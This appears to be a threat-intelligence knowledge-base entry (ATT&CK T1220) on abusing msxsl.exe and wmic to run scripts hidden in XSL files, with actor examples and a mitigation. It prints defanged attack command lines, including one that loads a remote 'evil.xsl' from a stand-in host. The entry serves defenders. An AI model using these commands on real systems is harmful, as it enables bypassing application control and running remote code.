

XSL Script Processing

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. ^[1]

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](#), the Microsoft common line transformation utility binary (msxsl.exe) ^[2] can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. ^[3] Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. ^[4] Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension. ^[5]

Command-line examples: ^{[3][5]}

- `msxsl.exe customers[.]xml script[.]xsl`
- `msxsl.exe script[.]xsl script[.]xsl`
- `msxsl.exe script[.]jpeg script[.]jpeg`

Another variation of this technique, dubbed "Squiblytwo", involves using [Windows Management Instrumentation](#) to invoke JScript or VBScript within an XSL file. ^[6] This technique can also execute local/remote scripts and, similar to its [Regsvr32](#)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](#) provided they utilize the /FORMAT switch. ^[5]

Command-line examples: ^{[5][6]}

- Local File: `wmic process list /FORMAT:evil[.]xsl`
- Remote File: `wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"`

ID: T1220

Sub-techniques: No sub-techniques

❗ **Tactic:** [Stealth](#)

❗ **Platforms:** Windows

Contributors: Avneet Singh; Casey Smith; Praetorian

Version: 2.0

Created: 17 October 2018

Last Modified: 12 May 2026

[Version](#) [Permalink](#)

Procedure Examples

ID	Name	Description
S0373	Astaroth	Astaroth executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain. ^[7]
G0080	Cobalt Group	Cobalt Group used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file. ^[8]
G0126	Higaisa	Higaisa used an XSL file to run VBScript code. ^[9]
C0022	Operation Dream Job	During Operation Dream Job , Lazarus Group used a remote XSL script to download a Base64-encoded DLL custom downloader. ^[10]

Mitigations

ID	Mitigation	Description
M1038	Execution Prevention	If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.

References

1. [Wenzel, M. et al. \(2017, March 30\). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018.](#)
2. [Microsoft. \(n.d.\). Command Line Transformation Utility \(msxsl.exe\). Retrieved July 3, 2018.](#)
3. [netbiosX. \(2017, July 6\). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.](#)
4. [Admin. \(2018, March 2\). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.](#)
5. [Singh, A. \(2019, March 14\). MSXSL.EXE and WMIC.EXE – A Way to Proxy Code Execution. Retrieved August 2, 2019.](#)
6. [LOLBAS. \(n.d.\). Wmic.exe. Retrieved July 31, 2019.](#)
7. [Salem, E. \(2019, February 13\). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.](#)
8. [Svajcer, V. \(2018, July 31\). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.](#)
9. [PT ESC Threat Intelligence. \(2020, June 4\). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021.](#)
10. [Breitenbacher, D and Osis, K. \(2020, June 17\). OPERATION IN\(TER\)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.](#)